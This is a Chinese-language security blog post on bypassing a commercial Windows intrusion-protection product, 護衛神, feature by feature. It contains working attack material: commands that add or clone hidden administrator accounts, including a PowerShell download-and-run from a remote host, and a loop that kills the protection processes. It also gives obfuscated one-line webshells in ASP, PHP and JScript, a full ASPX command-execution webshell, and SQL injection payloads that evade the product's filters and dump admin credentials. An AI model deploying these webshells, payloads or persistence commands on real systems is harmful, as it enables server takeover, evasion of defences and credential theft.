最近的恰飯文有點多,是時候該分享些東西了,等以後有空了再整理下其他WAF的繞過系列分享給大家,感謝大家的理解和支持,抱拳!
0x01 前言
記得以前測試這個安全防護軟體的繞過方式時還是v3.8.2版本,測試完後也沒再用上過,這兩天去看了下,已經升級到V5.0.0了,可能大部分繞過方法也已經失效了,但還是分享出來供大家參考下吧,有興趣的可以去測試下最新版的護衛神!註:由於「護衛神·入侵防護系統」為商業版,而網上找到的破解版本較低,且功能不齊全,所以只能在護衛神官網申請了3天免費試用進行測試,筆者提供的解決方案均來自以往的實踐當中和本地測試。
作業系統:Windows Server 2008 R2 x64軟體版本:護衛神·入侵防護系統 v3.8.2安裝路徑:C:\Huweishen.com\HwsSec_26319\日誌路徑:C:\Huweishen.com\HwsSec_26319\log\隔離路徑:C:\Huweishen.com\HwsSec_26319\insfile\護衛神進程名稱:hws.exe、hwsd.exe、HwsPanel.exe、hws_ui.exe護衛神服務名稱:hws(入侵防護系統服務)、hwsd(入侵防護系統監控服務)2.2.1 護衛神安全防護繞過-[用戶監控]
功能介紹:主要功能有3個(鎖定用戶組、禁止新建用戶、檢測影子用戶)。
圖2-2-1 護衛神「用戶監控」防護功能
圖2-2-2 護衛神自動刪除新建管理員
(1) 利用for循環命令繞過新建用戶行為檢測
for /l %i in (1,1,2) do @net user 90sec huweishen!@#1 /add & net localgroup administrators 90sec /add圖2-2-3 利用for命令添加管理員用戶
(2) 利用PowerShell克隆管理員繞過管理組檢測
PowerShell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.103/Clone.txt'); Create-Clone -u 90sec -p huweishen!@圖2-2-4 利用PowerShell成功克隆管理員
註:護衛神「用戶監控」的原理是檢測攻擊者是否存在新建用戶行為和Administrators管理組中是否存在其它用戶,如果存在則立即刪除該用戶。雖然我們可以通過for循環命令繞過新建用戶行為檢測,也能將這個新建用戶添加到Administrators管理組,但最終還是逃不過Administrators管理組檢測,仍然會將新建的90sec管理員用戶給刪除,可嘗試增加循環次數。因為用PowerShell腳本克隆的90sec用戶不屬於任何組的成員,所以護衛神無法刪除90sec這個具有管理員權限的用戶。
圖2-2-5 護衛神hws2018-07-03.log日誌文件
功能介紹:主要功能有3個(計算機名認證、IP或域名認證、更改遠程桌面埠)。
圖2-2-6 護衛神「遠程監控」防護功能
圖2-2-7 護衛神IP或域名認證
圖2-2-8 護衛神計算機名認證
解決方案:
(1) 利用「日誌文件」繞過護衛神計算機名認證限制1、tasklist /svc找到hws服務,然後sc qc hws找到「護衛神」的安裝路徑;2、護衛神日誌路徑:C:\Huweishen.com\HwsSec_26319\log\hws2018-07-03.log;3、查看「hws2018-07-03.log」日誌文件,找到以前登錄過此系統的計算機名稱(HuWeiShenServer);圖2-2-9 護衛神hws2018-07-03.log日誌文件
(2) 利用for循環命令繞過護衛神IP、域名認證限制
1、利用for命令循環結束hws.exe、hwsd.exe這兩個進程,在循環執行過程中「護衛神」的防護功能失效,循環結束防護功能生效。
for /l %i in (1,1,500) do @taskkill /f /im hws.exe /im hwsd.exe2、在停止防護功能時間內快速進入目標主機並關閉護衛神的「遠程登錄監控」防護功能即可。
圖2-2-10 循環結束hws.exe、hwsd.exe進程
註:護衛神「遠程監控」的原理是通過白名單來限制遠程登錄的計算機名、IP或域名,如果它們存在於「遠程監控」白名單列表當中則允許進行遠程桌面連接,否則不允許。
結束hws.exe、hwsd.exe進程後會停止「護衛神」防護功能1分鐘左右(此方法已失效!)。新版本中結束hws.exe、hwsd.exe進程後會自動重複的運行,防護功能依然是正常的。
功能介紹:「URL保護」這個功能是在IIS加固模塊裡的,主要是用來防止攻擊者訪問他們利用IIS6.0解析漏洞上傳的WebShell木馬文件。
圖2-2-11 護衛神「URL保護」防護功能
URL保護模塊(默認規則庫):
.asp;.asa;.php;.aspx;.asax;.asp/.asa/.asax/~1~2~3~4圖2-2-12 護衛神攔截IIS6.0解析漏洞格式
解決方案:
(1) 利用「include」文件包含繞過
ASP:PHP:<?php Include("hws.txt");?>JSP:<jsp:include page="hws.txt"/>圖2-2-13 Webshell木馬文件被正常解析
註:護衛神「URL保護」的原理是通過檢測訪問者的URL地址中是否存在規則庫列表裡的內容,如果存在則攔截,不存在則放行。因為IIS6.0默認安裝下的CER、CDX都映射在「C:\WINDOWS\system32\inetsrv\asp.dll」,所以它們能夠正常解析ASP代碼。而護衛神「URL保護」默認規則庫中沒有.CER;、.CDX;這樣的規則,所以沒有對其訪問進行攔截。
圖2-2-14 ASP ISAPI擴展
解決方案:
護衛神在安裝時的「卸載密碼」功能只是在卸載時要求輸入密碼,而直接重裝並沒有要求輸入密碼,所以個人感覺「卸載密碼」這個功能相當於擺設,我們可以直接重裝護衛神軟體,然後再進行卸載。
圖2-2-15 護衛神「卸載密碼」功能
功能介紹:主要設置選項有2個(監控路徑、查殺選項)。
圖2-2-16 護衛神「木馬監控」防護功能
圖2-2-17 護衛神隔離WebShell木馬文件
解決方案:
具體測試過程就不詳寫了,直接貼出我用了幾年的WebShell一句話木馬。現在網上也公布的有各種免殺過WAF的WebShell代碼,是否有後門請自行檢測。
<%Xz2GmkUViY=ReQuEsT("/"):ExEcUtE(Xz2GmkUViY)%><?php $Xz2GmkUViY=convert_uudecode("&87-S97)T `");@$Xz2GmkUViY($_REQUEST['/']);?><%@Page Language="Jscript"%><%var Xz2GmkUViY;Xz2GmkUViY = Request.Item["/"];Response.Write(eval(Xz2GmkUViY,"unsafe"));%>註:護衛神「木馬監控」的原理主要還是通過靜態檢測(文件特徵碼、危險函數等)來進行查殺。現在網上大部分公開的免殺WebShell基本都還是對危險函數進行分割、編碼、回調、變形或在線加密(http://www.phpjm.net/encode.html)處理來繞過WAF的檢測,推薦幾篇不錯的文章。
基於WAF入侵檢測和變異WebShell檢測算法的Web安全研究https://www.docin.com/p-1815617232.htmlWebshell安全檢測篇https://www.vuln.cn/6548Deformity ASP_ASPX_PHP_JSP Webshell、Webshell Hidden Learninghttps://www.cnblogs.com/LittleHann/category/548519.html功能介紹:「運行限制」這個功能是在IIS加固模塊裡的,主要設置選項有3個(禁止運行危險組件、禁止獲取系統信息、禁止運行PSO組件)。
CLASSID在Windows中唯一表示一個組件,一般在註冊表HKEY_CLASSES_ROOT\CLSID中,Windows x64在註冊表HKEY_CLASSES_ROOT\Wow6432Node\CLSID中,有興趣的可以去深入了解一下。
{13709620-c279-11ce-a49e-444553540000}:::Shell.application{ed8c108e-4349-11d2-91a4-00c04f7969e8}:::Microsoft.XmlHttp{b54f3741-5b07-11cf-a4b0-00aa004a55e8}:::MSXML2.XMLHTTP{f935dc20-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell.1{fbeb8a05-beee-4442-804e-409d6c4515e9}:::Shell32.dll{7849596a-48ea-486e-8937-a2a3009f31a9}:::Shell32.dll{72c24dd5-d70a-438b-8a42-98424b88afb8}:::WScript.Shell{f935dc2b-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell{f935dc29-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell{f935dc28-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell{f935dc27-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell{f935dc26-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell{f935dc25-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell{f935dc24-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell{f935dc23-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell{f935dc22-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell{f935dc21-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell{f935dc20-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell{24be5a30-edfe-11d2-b933-00104b365c9f}:::WScript.Shell{24be5a31-edfe-11d2-b933-00104b365c9f}:::WScript.Shell{563dc061-b09a-11d2-a24d-00104bd35090}:::WScript.Shell{563dc060-b09a-11d2-a24d-00104bd35090}:::WScript.Shell{41904400-be18-11d3-a28b-00104bd35090}:::WScript.Shell{093ff999-1ea0-4079-9525-9614c3504b74}:::Wscript.Network {0d43fe01-f093-11cf-8940-00a0c9054228}:::File System Object{8bc3f05e-d86b-11d0-a075-00c04fb68820}:::WMI{a8f03be3-edb7-4972-821f-af6f8ea34884}:::WMINet_Utils.WmiSecurityHelper.1{172bddf8-ceea-11d1-8b05-00600806d9b6}:::Winmgmts {565783c6-cb41-11d1-8b02-00600806d9b6}:::Winmgmts {d6bfa35e-89f2-11d0-8527-00c04fd8d503}:::IISNamespace{97d25db0-0363-11cf-abc4-02608c9e7553}:::用戶和組{172bddf8-ceea-11d1-8b05-00600806d9b6}:::Winmgmts {565783c6-cb41-11d1-8b02-00600806d9b6}:::Winmgmts {172bddf8-ceea-11d1-8b05-00600806d9b6}:::Winmgmts {565783c6-cb41-11d1-8b02-00600806d9b6}:::Winmgmts圖2-2-18 護衛神「運行限制」防護功能
圖2-2-19 護衛神禁止運行的危險組件
解決方案:
利用ASPX WebShell木馬繞過「禁止運行危險組件」限制
<%@ Page Language="C#" Debug="true" Trace="false" %><%@ Import Namespace="System.Diagnostics" %><script Language="c#" runat="server">protected void FbhN(object sender, EventArgs e) { try { Process ahAE = new Process(); ahAE.StartInfo.FileName = kusi.Value; ahAE.StartInfo.Arguments = bkcm.Value; ahAE.StartInfo.UseShellExecute = false; ahAE.StartInfo.RedirectStandardInput = true; ahAE.StartInfo.RedirectStandardOutput = true; ahAE.StartInfo.RedirectStandardError = true; ahAE.Start(); string Uoc = ahAE.StandardOutput.ReadToEnd(); Uoc = Uoc.Replace("<", "<"); Uoc = Uoc.Replace(">", ">"); Uoc = Uoc.Replace("\r\n", "<br>"); tnQRF.Visible = true; tnQRF.InnerHtml = "<hr width=\"100%\" noshade/><pre>" + Uoc + "</pre>"; } catch(Exception error) { Response.Write(error.Message); }}</script>
<html> <head> <title>Asp.Net SafeDog CmdShell</title> </head> <body> <form id="cmd" method="post" runat="server"> <div runat="server" id="vIac"> <p><input class="input" runat="server" id="kusi" type="text" size="100" value="c:\windows\system32\cmd.exe" /> </p> <input class="input" runat="server" id="bkcm" value="/c Set" type="text" size="100" /> <asp:button id="YrqL" cssclass="bt" runat="server" text="Submit" onclick="FbhN" /> <div id="tnQRF" runat="server" visible="false" enableviewstate="false"> </div> </div> </form> </body></html>圖2-2-20 ASPX WebShell執行系統命令
註:護衛神「運行限制」的原理是通過禁止一些危險組件(Wscript.Shell、Shell.Application、Winmgmts、IISNamespace等)來阻止攻擊者利用WebShell腳本木馬調用這些危險組件來執行系統命令、獲取系統信息等。但aspx執行命令不依賴於這些組件,所以能...!
功能介紹:主要設置選項有3個(GET、POST、COOKIES防注入關鍵詞,默認都是一樣的),可以根據自己的安全經驗選擇性增加一些關鍵詞。
圖2-2-21 護衛神「SQL防注入」防護功能
GET、POST、COOKIES防注入關鍵詞:
*xp_cmdshell**and*db_name()*>*0**and*user*>*0**bulk*insert*exec**select*is_srvrolemember**use*model**select*is_member**xp_availablemedia**xp_dirtree**xp_terminate_process**sp_dropextendedproc**exec*sp_addlogin**xp_regdeletekey**exec*xp_regread**exec*xp_regenumvalues*'**exec*xp_regwrite*'**exec*xp_regread*'**exec*xp_regdeletevalue*'**declare*@*char**exec*xp_regaddmultistring*'**exec*xp_regdeletekey*'**exec*xp_regenumvalues*'**exec*xp_regread*'**exec*xp_regremovemultistring*'**exec*xp_regwrite*'**declare*@**union*select**select*from*[...SNIP...]圖2-2-22 被護衛神「SQL防注入」攔截了
(1) ASP+ACCESS:利用ASP%特性、unicode編碼繞過護衛神防注入。
http://192.168.1.108/sql.asp?id=1 and exists(s%elect * from admin)http://192.168.1.108/sql.asp?id=1 and exists(s%u0065lect * from admin)圖2-2-23 利用%特性繞過SQL注入防護
(2) ASPX+MSSQL:利用unicode編碼、%00截斷繞過護衛神防注入。
http://192.168.1.108/sql.aspx?id=1%00and 1=(select count(*) from master.dbo.sysobjects where name= 'xp_cmdshell')
http://192.168.1.108/sql.aspx?id=1 and 1=(s%u0065lect count(*) from master.dbo.sysobjects where name= '%u0078%u0070%u005f%u0063%u006d%u0064%u0073%u0068%u0065%u006c%u006c')圖2-2-24 利用%00截斷繞過SQL注入防護
(3) PHP+MYSQL:利用/*%00*/、GET+POST繞過護衛神防注入。
http://192.168.1.108/sql.php?id=1union select 1,group_concat(username,0x3A,password),3 from admin
http://192.168.1.108/sql.php?id=1 union select 1,group_concat(username,0x3A,password),3 from adminPOST:aaa圖2-2-25 利用GET+POST繞過SQL注入防護
註:護衛神「SQL防注入」的原理是通過正則匹配關鍵詞來攔截的,在GET、POST或Cookies數據裡檢測到黑名單中的關鍵詞就進行攔截。這一小節內容並非筆者原創,只是參考了網上已公開的方法進行復現測試。繞過XSS、注入以及上傳並非我的強項,也沒有深入研究這一塊,後邊會整理@Bypass師傅寫的Bypass WAF系列文章供學習大家參考,這裡另外推薦幾篇不錯的文章。
我的WafBypass之道系列https:WAF攻防研究之四個層次Bypass WAFhttps:Bypass WAF Cookbook – MayIKissYouhttps:sql-injection-fuck-wafhttps: